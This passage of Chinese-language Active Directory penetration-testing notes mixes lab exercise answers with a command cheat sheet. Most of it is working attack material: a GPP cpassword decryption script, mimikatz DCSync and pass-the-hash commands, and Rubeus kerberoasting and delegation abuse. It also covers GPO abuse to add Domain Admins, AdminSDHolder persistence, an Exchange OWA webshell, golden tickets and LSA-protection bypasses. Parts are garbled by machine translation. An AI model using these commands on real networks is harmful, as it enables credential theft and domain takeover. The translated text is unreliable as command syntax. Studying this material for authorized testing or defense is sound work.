uid="{32DED100-2B0D-41CB-8341-F5FBCF77FE13}"><Properties action="U" newName="" fullName="" description="" cpassword="Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (内置)"/></User> </Groups> cpassword项,保存的是加密后的内容"Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw" 加密方式为AES 256,虽然目前AES 256很难被攻破,但是微软选择公开了该AES 256加密的私钥,地址如下: https://msdn.microsoft.com/en-us/library/cc422924.aspx 借助该私钥,我们就能还原出明文 采用Chris Campbell @obscuresec开源的powershell脚本,地址如下: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1 该脚本可在域内主机上执行,能够自动查询共享文件夹\SYSVOL中的文件。 也可以利用如下代码进行解密 #!/usr/bin/python import sys from Crypto.Cipher import AES from base64 import b64decode if(len(sys.argv) != 2): print "decrypt.py <cpassword>" sys.exit(0) key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex') cpassword = sys.argv[1] cpassword += "=" * ((4 - len(cpassword) % 4) % 4) password = b64decode(cpassword) out = AES.new(key, AES.MODE_CBC, "\x00" * 16) out = out.decrypt(password) print out[:-ord(out[-1])].decode('utf16') 通过Group Policy Management Console (GPMC) 实现计划任务的远程执行同上创建GPO,在计划任务中添加。 第四个任务选项会在每次组策略刷新时执行。 四种计划任务的区别可参考官方文档: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v%3dws.11) 对于域内的主机,可以等待90分钟使组策略自动更新,也可以在客户端执行如下命令强制刷新组策略: gpupdate /force 7.DCSync利用DCSync导出域内所有用户hash的方法利用条件: 获得以下任一用户的权限: Administrators组内的用户Domain Admins组内的用户Enterprise Admins组内的用户域控制器的计算机帐户导出域内所有用户的hash: mimikatz.exe privilege::debug "lsadump::dcsync /domain:rootkit.org /all /csv" exit 8.利用DCSync在域内维持权限的方法利用条件: 获得以下任一用户的权限: Domain Admins组内的用户Enterprise Admins组内的用户利用原理: 向域内的一个普通用户添加如下三条ACE(Access Control Entries): DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)该用户即可获得利用DCSync导出域内所有用户hash的权限。 Windows系统中的ACL(Access Control List),用来表示用户(组)权限的列表。 利用方法: 利用PowerView.ps1,添加ACE的命令如下: Add-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose 删除ACE的命令: Remove-DomainObjectAcl -TargetIdentity "DC=0day,DC=org" -PrincipalIdentity webadmin -Rights DCSync -Verbose 在域内一台登录了sqladmin用户的主机上面,就能使用mimikatz的DCSync功能 mimikatz.exe privilege::debug "lsadump::dcsync /domain:0day.org /all /csv" exit 9.AdminSDHolderAdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板 Active Directory将采用AdminSDHolder对象的ACL并定期将其应用于所有受保护的AD账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的 如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法 向AdminSDHolder对象添加ACL使用PowerView,添加用户dbadmin 的完全访问权限 Add-ObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org" -PrincipalIdentity dbadmin -Verbose -Rights All 默认等待60分钟以后,dbadmin获得对所有受保护的AD账户和组的完全访问权限 可以通过修改注册表的方式设置权限推送的间隔时间,注册表位置如下: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters,AdminSDProtectFrequency,REG_DWORD例如修改成等待60秒的命令如下: reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60 dbadmin用户可以直接访问域控。 删除AdminSDHolder中指定用户的ACL删除用户dbadmin的完全访问权限,命令如下 Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rookit,DC=org" -PrincipalIdentity dbadmin -Rights All -Verbose 非常规方法若域控主机为owa主机,即exchange服务器主机,我们可以在owa目录下留一个aspx的木马。用作维持权限。 在如下目录中加入一个aspx木马。 C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth 域环境下载链接:https://pan.baidu.com/s/1j7OgZ3pOnSNxBCHbnUZ4SQ 提取码:z7m8
  23. 后置知识刚入门的小伙伴京东或者淘宝买这本书可以去看看 Windows Server 2012 R2系统配置指南_戴有伟编着文章是根据https://github.com/cfalta/adse c改编的。 环境搭建https://github.com/cfalta/adsec/tree/main/lab-setup DC-Windows 2019用户杰克-Windows 2019SqlServer-Windows 2019 配置域控新增一个网卡,三个虚拟机使用这个网卡设置指定ip我是直接复制虚拟机,需要更改mac地址和sid还需要更改sid可以使用系统内置的工具sysprep或者另外一个newsid工具https:// newsid.softag.com/download在三台机器上以管理员权限执行以下命令。 关闭防火墙Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False关闭Windows Defender卸载-WindowsFeature -Name Windows-Defender下载自动化脚本辅助安装 https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts 运行createdomain脚本,自己修改里面的域名称。 这里应该不能一步完成 先执行 安装-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools重启之后继续执行。重启后执行这个文件功能就是根据json文件去自动添加用户和组等等。 配置域内机在两台成员机器上使用以下两个域账号注册 约翰·多伊约翰P@ssw0rd李小龙流血铁拳真棒! user1这台用john认证user2机器用blee登录 攻击机器准备用john登录user1这台机器,当做点,再分配一张网卡,让他出网。 默认工具包下载地址 https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools 猎犬安装及配置谷歌一下 信息收集 导入电源模块 cd C: \a ttacker-tools cat -raw " .\PowerView.ps1 " | 交换器获取当前域的基本信息和域控位置 获取域 获取域控制器 查看有多少电脑和域内用户 获取域计算机 获取域用户过滤出域管出来 获取域用户| ? { $_ .memberof -like " *域管理员* " } 获取域用户| ? { $_ .memberof -like " *域管理员* " } | 选择 相同的帐户名 课后习题参考答案我会选择最后面哦 域里有多少台计算机以及它们在什么上面运行?域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。找到对应管理员组的成员,这些用户上一次设置的密码是什么时候?有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。NTLM的利用模仿psexec需要管理员权限,使用本地管理员用户登录 特权::调试 令牌::提升 lsadump::sam获得到管理员哈希 7dfa0531d73101ca080c7379a9bff1c7 pth 攻击 sekurlsa::pth /user:Administrator /ntlm:7dfa0531d73101ca080c7379a9bff1c7 /domain:wing.lab psexec.exe \\ user2 cmd 课后习题mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。如何解决 PTH 问题,请讲清楚原因。是否有可能(可能会)完全不是NTLM?解释你的理由。Kerberos-烘焙预习资料网络——AS-REP Roasting 加载插件 cd C: \a ttacker-tools 猫生的。\ PowerView.ps1 | 交换器 猫生的。\I nvoke-Rubeus.ps1 | 交换器查询SPN,获得服务用户 获取域用户-SPN | 选择 samaccountname、 description、pwdlastset、serviceprincipalname Rubeus 有一个统计 kerberos 数据的功能 Invoke-Rubeus -Command " kerberoast /stats "获取目标账户的TGS Invoke-Rubeus -Command " kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt "这里的脚本是base64之后通过powershell内存加载 函数 调用-Rubeus([string]$Command) { $Message = " base64 " ; $Assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String( $Message )) [Rubeus.Program]::Main( $Command .Split( " " )) } 破解TGS . \j ohn.exe .. \. . \k rb5tgs.txt --wordlist=.. \. . \e xample.dict --rules=passphrase-rule2 课后习题描述一下您认为最好的缓解技术,并解释其原因。还有一个用户会受到 ASREP 的影响,请找出来。解释一下TGS vs. ASREP烘焙 Kerberos(委托)之前设置的时候改json里面的数据,没有域改了委派用户 Get-DomainUser -TrustedToAuth视委派的目标 Get-DomainUser -TrustedToAuth | 选择 -ExpandProperty msds-allowedtodelegateto 执行这个攻击的条件就是要知道用户的密码才行 生成hash Invoke-Rubeus -Command " hash /password:Amsterdam2015 /domain:wing.lab /user:service1 " Rubeus 允许在新的登录会话中启动 powershell。只有在这个时候我们即将的票证会话中,不会干扰用户john 已经的kerboers 票证。使用s4u 请求一个TGS 模拟域管理用户Bruce(bwillis) )攻击user1。我们请求3个不同服务的票证CIFS将用于SMB访问HOST/ RPCS for WMI 调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab / PTT ” 调用-鲁伯-Command “ S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser: bwillis /msdsspn:host/user1.wing.lab / PTT “ 调用-鲁伯-Command ” S4U /用户:服务1 / AES256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 / impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab / PTT “ 查看检查的报告自己前面 我设置错了,委派的目标应该设置成user2,user1 是,但都一样。 ls \\ user1.wing.lab \C $通过wmi控制user1 Get-WmiObject -Class win32_process -ComputerName adsec-01.contoso.com 课后习题在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用” ACL攻击信息收集 猫生的。\S harpound.ps1 | 交换器Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCacheCollectionMethod Dc只表示仅从域控收集数据。从opsec的角度来看,这样比较好,因为是流量正常。Stealth单线程启动。速度较慢,但安全。PrettyJson 格式化.json文件。NoSaveCache 不保存保存文件。 启动血犬下载社区版的neo4j https://neo4j.com/download-center/#releases ❯ jdk11 ❯ ./neo4j 开始 先把service1标记为已陷陷点这里点击这里用户对域控的组策略有可访问权限,通过组策略利用,攻击DC需要先以service1的身份登录 runas /user:wing.lab \s ervice1 powershell. \S harpGPOAbuse.exe --AddComputerTask --TaskName " Update " --Author contoso \a dminuser --Command " cmd.exe " --Arguments ' /c net group \"Domain Admins\" john /ADD ' --GPOName “默认域控制器策略” --force 写完以后,等管理员更新组策略才有可能触发。 手工弄弄。提权成功登陆到域控。 课后习题acl 攻击有哪些利用工具?权限维持权限维持的东西比较多 金银笔记本后门等等等等 一般DC权限就先执行 lsadump::dcsync /user:krbtgt所有收到用户hash,也可以作为后门。 课后习题自主学习这些权限维持方法的原理。参考答案我做的特别对,有错误请留言。 信息收集powerview3.0 技巧 https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993 域里有多少台计算机以及它们在什么上面运行? 域有多少用户?显示所有属性查询语句进行,以表格形式呈现给用户,只有相同的用户名、显示名、描述和最后一次密码更改的时间。 你能识别出哪些自定义的管理员组?以通用方式更改上面的powershell,只能返回自定义管理组。Get-DomainGroupMember -Identity “域管理员” -Recurse 找到对应管理员组的成员,这些用户上一次设置的密码是什么时候? 有快速识别出域中服务帐户的方法吗?写一个powershell查询,所有简单的服务帐户。获取域用户-SPN | 选择 serviceprincipalname,userprincipalname,pwdlastset,lastlogon NTLM猕猴桃命令大全 mimikatz 执行"privilege::debug"和"token::elevate"的目的是什么?为什么需要执行它们?privilege::debug - 提升为管理员权限 token::elevate - 奖励奖励,获得其他用户的奖励系统权限以李小龙的身份登录1。使用您在上面的用户的知识。 john 从内存中远程提取帮助李小龙的 NTLM 哈希。lsadump::dcsync /domain:wing.lab /user:bruce 转储所有数据 lsadump::dcsync /domain:wing.lab /all /csv如何解决 PTH 问题,请讲清楚原因。打上打kb2871997禁止并且SID=500的管理员用户监控日志是否有可能(可能会)完全不是NTLM?解释你的理由。审查收到的 NTLM 调查:允许对所有帐户的审查仅发送NTLMv2响应。第四点我不太确定。 Kerberos(烘焙)描述一下您认为最好的缓解技术,并解释其原因。禁止用户开启Do not require Kerberos preauthentication禁止弱口令还有一个用户会受到 ASREP 的影响,请找出来。Get-DomainUser -PreauthNotRequired -Verbose 解释一下TGS vs. ASREP烘焙https://www.4hou.com/posts/YVyM Kerberos(委托)在上面的操作中,您通过SMB和WMI获得了服务器用户的读取权限。现在通过这两个协议来执行。目标是执行以下命令,将用户john添加到本地管理组:psexecwmic /node:user1 process call create " cmd.exe /c net localgroup Administrators john /add "试点模拟域管理员用户查克·诺里斯不是“布鲁斯·威利斯。有什么作用?”可以攻击域控 访问控制列表acl 攻击有哪些利用工具? github.com权限维持自主学习这些权限维持的原理。
  24. 信息收集常用命令Net use Net view Tasklist /v Ipconfig /all net group /domain 获得所有域用户组列表 net group "domain admins" /domain 获得域管理员列表 net group "enterprise admins" /domain 获得企业管理员列表 net localgroup administrators /domain 获取域内置administrators组用户(enterprise admins、domain admins) net group "domain controllers" /domain 获得域控制器列表 net group "domain computers" /domain 获得所有域成员计算机列表 net user /domain 获得所有域用户列表 net user someuser /domain 获得指定账户someuser的详细信息 net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息 nltest /domain_trusts 获取域信任信息SPN扫描setspn -T target.com -Q */*定位域控若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。 nslookup -type=all _ldap._tcp.dc._msdcs.rootkit.org ipconfig /all 端口:88,389,53定位域管登录的机器powerpick Find-DomainUserLocation -UserIdentity Administrator #查看用户位置 Get-UserEvent powerpick Invoke-EventHunter #查看日志数据搜集基础信息# List shares on the local host net share # List network computers net view # List shares on a remote PC net view COMPUTER_NAME /all# List shares on the local host wmic share get /format:list # List shares on a remote PC wmic /node: COMPUTER_NAME share get搜索域内跟文件相关的计算机名# List all domain computers and filter all computers with “FILE” in their name net group "Domain Computers" /domain | findstr "FILE"powerview Cheat sheetFind-DomainShare Get-DomainFileServer数据库信息PowerUpSQLhttps://blog.netspi.com/finding-sensitive-data-domain-sql-servers-using-powerupsql/ 信息收集# Find all local SQL instances: Get-SQLInstanceLocal -Verbose # Find all SQL instances across a domain/network: Get-SQLInstanceDomain -Verbose Get-SQLInstanceBroadcast -Verbose Get-SQLInstanceScanUDP -Verbose 获得详细信息# Enumerate basic information about local SQL instances Get-SQLInstanceLocal | Get-SQLServerInfo # Enumerate basic information about a remote SQL instance Get-SQLServerInfo -Instance "Srv-Web-Kit.rootkit.org"利用!列出当前用户能登录的实例 Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10 尝试获取实例admin权限 Invoke-SQLEscalatePriv -Verbose -Instance "COMPUTER_NAME" 使用默认密码枚举 Get-SQLInstanceDomain -Verbose | Get-SQLServerLoginDefaultPw -Verbose Dump数据库信息 Invoke-SQLDumpInfo -Verbose -Instance "COMPUTER_NAME" 使用自动审计 Invoke-SQLAudit -Verbose -Instance "COMPUTER_NAME" 敏感信息 Import-Module PowerUpSQL.psd1 $Servers = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 10 $Accessible = $Servers | Where-Object {$_.Status –eq “Accessible”} $Accessible | Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword “card, password” –SampleSize 2 –ValidateCC -NoDefaults | ft -AutoSize ---- Get-SQLColumnSampleData –Verbose –Keyword “card, password” –SampleSize 2 –ValidateCC -NoDefaults –Instance "Server1\Instance1" SqlClient in cobaltstrike(also use in lateral movement) sqlclient in github 定位用户# Find where a specific user is logged in using Powerview: Find-DomainUserLocation -UserIdentity USER_NAME # Find where a group of users are logged in using Powerview: Find-DomainUserLocation -UserGroupIdentity GROUP_NAME 或者使用sharpsniper,需要admin密码 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000MailSniperhttps://github.com/dafthack/MailSniper 如果有一个用户的密码,可以查看他的收件箱 # Autodiscover the target Exchange server and search [email protected]’s mailbox Invoke-SelfSearch -OutputCsv local-results.csv -Mailbox [email protected] # Specify a remote Exchange server (Exchange Online in this case) and search [email protected]’s mailbox Invoke-SelfSearch -Remote -ExchHostname outlook.office365.com -OutputCsv local-results.csv -Mailbox [email protected] UserHuntinghttp://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/ 域内漏洞扫描https://github.com/hausec/ADAPE-Script powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 PS: 这个脚本的动作很大,和血犬差不多,会有大规模的请求,所有模块都要从github下载,而且需要管理员权限,适合授权测试的时候在线下渗透使用,ETC. 主要扫描以下以下漏洞: •通过WPAD,LLMNR和NBT-NS欺骗收集Hash •MS14-025 •通过Kerberoast收集帐户的Hash •通过BloodHound识别目标 •提权检测 •搜索网络上的开放SMB共享 •搜索smb共享中的敏感字符串 •检查网络上的系统补丁 •搜索文件服务器 •搜索附件 •收集域策略一键扫描 Set-ExecutionPolicy Bypass ./ADAPE.ps1 -All或者指定模块 ./ADAPE.ps1 -GPP -PView -KerberoastSPN扫描域内爆破https://github.com/ropnop/kerbrute/releases/tag/v1.0.3 先爆用户用名,不过一般就可以直接查得到 ./kerbrute_darwin_amd64 userenum -d rootkit.org user.txt获取收集的密码,批量爆一波,域内密码可以找强弱口令和多做信息收集./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>BloodHound使用一键搜集信息 https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors Import-Module .\SharpHound.ps1 Invoke-Bloodhound -Verbose -Domain 'domain.local' -DomainController 'DC01.domain.local' -LDAPUser 'targetuser' -LDAPPass 'targetpass' -CollectionMethod all最佳查询实践 https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet/tree/master/F%20-%20BloodHound Using BloodHound without collectors (ldapsearch stuff) Using Bloodhound in Linux environmentsSPN扫描到Kerberoasting优先级1:rubeus请求,hashcat爆破 .\Rubeus.exe kerberoast hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force扫描SPN服务或者 GetUserSPNs.py 客户端请求server端,爆破获得ST票据Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org" 导出ticketkerberos::list /export kerberoast爆破 https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py 或者使用Invoke-Kerberoast.ps1Import-Module .\Invoke-Kerberoast.ps1 Invoke-Kerberoast会返回所有信息 或者指定寻找高权限用户 Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | flhashcat破解 hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force域内MS14-068提权Pykek来源:https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-MS14-068.md MS14-068对应的补丁为KB3011780,可在域控上通过systeminfo查看是否安装此补丁。 Pykek工具利用漏洞 -u 域账号+@+域名称,这里是jerry+@+rootkit.org -p 为当前用户的密码,即jerry的密码 -s为jerry的SID值,可以通过whoami/all来获取用户的SID值 -d为当前域的域控 脚本执行成功会在当前目录下生成一个ccache文件。 利用: 访问域控: goldenPac.exe 域内权限维持Kerberoasting的后门利用来自:https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting/ 在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令 例如为域用户Administrator添加SPNVNC/DC1.test.com,参数如下: setspn.exe -U -A VNC/DC1.test.com Administrator在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,如下图 再使用hashcat破解即可 删除SPN的参数如下: GoldenTickethttps://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Ticket.md 金票的生成需要用到krbtgt的密码HASH值 得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。 SID是红框部分 mimikatz导入利用 SilverTickets制作银票的条件: 利用过程 这时得到了OWA2010SP3$的HASH值,通过mimikatz生成银票。 参数说明: / 使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限[RID=519](域林中的最高权限)的票据。 然后通过mimikatz重新生成包含根域SID的新的金票 Startoffset和endin分别代表偏移量和长度,renewmax表示生成的票据的最长时间。 MImikatz万能钥匙Kerberos Bronze Bit Attack - CVE-2020-17049Exchange漏洞利用各种Relay委派攻击信息收集查询三种委派信息 或者powerview非约束委派攻击利用如果我们在启用了无限制委派的计算机上具有管理员访问权限,我们可以等待高价值的目标或DA连接到它,窃取他的TGT,然后ptt攻击. https://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.md Mimikatz查看配置成功与否 然后在“AD用户和计算机”中将sqladmin设置为非约束委派模式 然后在Srv-Web-Kit上面导出ticket,ptt即可.后续利用就和之前一样. psexec.exe \\dc -s cmd.exePowerViewRubeuspowershell-import /opt/Tools/lab10/powerview-dev.ps1 powerpick Get-DomainComputer -Unconstrained #找到对应用户和服务 execute-assembly /opt/Tools/lab10/rubeus.exe monitor /interval:1 #监控域内请求,抓取凭据 DNS_SERVER=${PROXYRESOLV_DNS:-10.0.2.200} #设置proxy的dns解析,指向应该是域控的ip.或者有打印服务的机器 cd /opt/Tools/lab10/krbrelayx . ./venv/bin/activate #利用打印服务漏洞主动发起请求 proxychains python printerbug.py -hashes :659de2671ddd13848b8a511e97893da6 ironbank.local/[email protected] workstation.ironbank.local #PTT execute-assembly /opt/Tools/lab10/rubeus.exe ptt /ticket:<base64 ticket> dcsync ironbank.local ironbank\administrato用完记得jobkill 约束委派攻击利用寻找约束委派的用户和服务powerpick Get-DomainComputer -TrustedToAuth StandIn.exe --delegation清空缓存execute-assembly /opt/Tools/lab10/rubeus.exe purgeRubeus一步到位 rc4这个参数,密码或者hash要自己本地提权才能获得了.是前提条件 生成rc4Rubeus.exe hash /user:xxx /pasword:xxx /domain:xx.xx这里的伪造的用户名必须是域内已经有的,比如adminstrator。 所以这里本机的这个用户是伪造成其他用户去从获取TGS。 另外:该用户的hash的也要看能不能获取 Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt demo execute-assembly /opt/Tools/lab10/rubeus.exe s4u /impersonateuser:administrator /msdsspn:"ldap/dc" /altservice:cifs /dc:dc.ironbank.local /user:FILESERVER$ /rc4:<NTLM HASH for FILESERVER$> /pttRubeus.exe s4u /user:wing /rc4:xxxxxxxx /impersonateuser:administrator /msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt ls \\dc\C$ #希望能成功QAQ现在,我们可以模拟用户访问该服务! 如果我们仅对特殊的SPN拥有委派权,该怎么办? (例如,TIME): 在这种情况下,我们仍然可以滥用Kerberos的一种功能,即替代服务。 这使我们能够为其他“替代”服务而不只是我们有权获得的服务请求TGS门票。 这样一来,我们就可以利用杠杆来请求主机希望获得的任何服务的有效票证,从而使我们可以完全控制目标计算机。 基于资源的约束委派利用使用Mimikatz解密CredentialsUsually encrypted credentials are stored in: %appdata%\Microsoft\Credentials%localappdata%\Microsoft\Credentials将管理员权限的TGT授给其他非管理员的机器https://www.anquanke.com/post/id/162606 你可以用Rubeus的 tgtdeleg 功能提取当前用户的 TGT,并将其和 /autorenew 标志一起传递给运行在另一台主机上的 Rubeus 的 renew 函数。这将允许你在不提权的情况下提取当前用户的凭证,并在另一台主机上进行最多7天(默认)的续订。 我们仅使用票证而不是帐户的哈希来执行攻击。Rubeus.exe tgtdeleg /nowrap跨林攻击Trust Tickets 如果我们在与另一个林具有双向信任关系的域上具有域管理员权限,则可以获取“信任”密钥并伪造我们自己的跨域TGT。 注意:我们将具有的访问权限将限于我们的DA帐户在其他Forest中配置的权限!使用Mimikatz:#Dump the trust key Invoke-Mimikatz -Command '"lsadump::trust /patch"' Invoke-Mimikatz -Command '"lsadump::lsa /patch"' #使用Golden Ticket攻击建立跨域TGT Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid: / <OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket: <PathToSaveTheGoldenTicket>"' #ticket要是.kribi然后,使用TGT向外部森林索取TGS以获取任何服务,并访问资源!使用Rubeus:.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt打破林信任-攻击其他林如果我们与外部林具有双向信任,并且我们设法破坏了启用了无限制委派的本地林上的计算机(默认情况下,DC具有此权限),则可以使用printerbug强制将外部林的根域的DC设置为 向我们认证。 然后,我们可以捕获它的TGT,将其注入内存中,并使用DCsync来转储其哈希值,从而可以对整个林进行完全访问。#监控TGT请求: Rubeus.exe monitor /interval:5 /filteruser:target-dc$ #利用打印服务漏洞 SpoolSample.exe target-dc$.external.forest.local dc.compromised.domain.local #得到Ticket注入内存 Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket> #dump其他域的hash: lsadump::dcsync /domain:external.forest.local /all 域内横向控制Lateral MovementPowershell Remoting#Enable Powershell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting #Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName <Name> Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>Remote Code Execution with PS Credentials$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword) Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}Import a powershell module and execute its functions remotely#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess #Interact with the session Enter-PSSession -Session $sessExecuting Remote Stateful commands#Create a new session $sess = New-PSSession -ComputerName <NameOfComputer> #Execute command on the session Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} #Check the result of the command to confirm we have an interactive session Invoke-Command -Session $sess -ScriptBlock {$ps}Mimikatz如果mimikatz由于LSA保护而未能Dump凭据怎么办? 到目前为止,我知道两种解决方法: LSA as a Protected Process#通过查看变量RunAsPPL是否设置为0x1来检查LSA是否作为受保护的进程运行 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa #接下来将mimidriver.sys从官方mimikatz存储库上传到mimikatz.exe的同一文件夹 #现在将mimidriver.sys导入系统 mimikatz # !+ #Now lets remove the protection flags from lsass.exe process mimikatz # !processprotect /process:lsass.exe /remove #Finally run the logonpasswords function to dump lsass mimikatz # sekurlsa::logonpasswordsLSA作为凭据进程的虚拟化进程(LSAISO)运行#Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso #如果确实没有办法转储lsass,我们将只获得加密的数据。 但是我们仍然可以使用键盘记录器或剪贴板转储器来捕获数据。 #让我们将自己的恶意安全支持提供程序注入内存,在此示例中,我将使用mimikatz提供的 mimikatz # misc::memssp ##现在将登录到此计算机的每个用户会话和身份验证,并将捕获纯文本凭据并将其存储到c:\windows\system32\mimilsa.log#The commands are in cobalt strike format! #Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords #(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN> #列出内存中的票据 mimikatz sekurlsa::tickets #Dump local Terminal Services credentials mimikatz sekurlsa::tspkg #Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp #List cached MasterKeys mimikatz sekurlsa::dpapi #List local Kerberos AES Keys mimikatz sekurlsa::ekeys #Dump SAM Database mimikatz lsadump::sam #Dump SECRETS Database mimikatz lsadump::secrets #Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject #Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain:<DomainFQDN> /all #List and Dump local kerberos credentials mimikatz kerberos::list /dump #Pass The Ticket mimikatz kerberos::ptt <PathToKirbiFile> #List TS/RDP sessions mimikatz ts::sessions #List Vault credentials mimikatz vault::list视频中学到一个 查看有没有密码 mimikatz !lsadump::secrets make_token user password 然后就直接拥有对应用户权限 net computer ls \\dc\\C$ 域内本地提权SharpAddMachinehttps://github.com/Ridter/SharpAddDomainMachine .\SharpAddDomainMachine.exe domain=rootkit.org dc=owa2013.rootkit.org tm=SRV-WEB-KIT然后实战中利用隧道执行以下命令即可 getST.py -dc-ip owa2013.rootkit.org rootkit.org/4B23BBXE$:21XILFD07C -spn cifs/SRV-WEB-KIT.rootkit.org -impersonate administrator export KRB5CCNAME=administrator.ccache 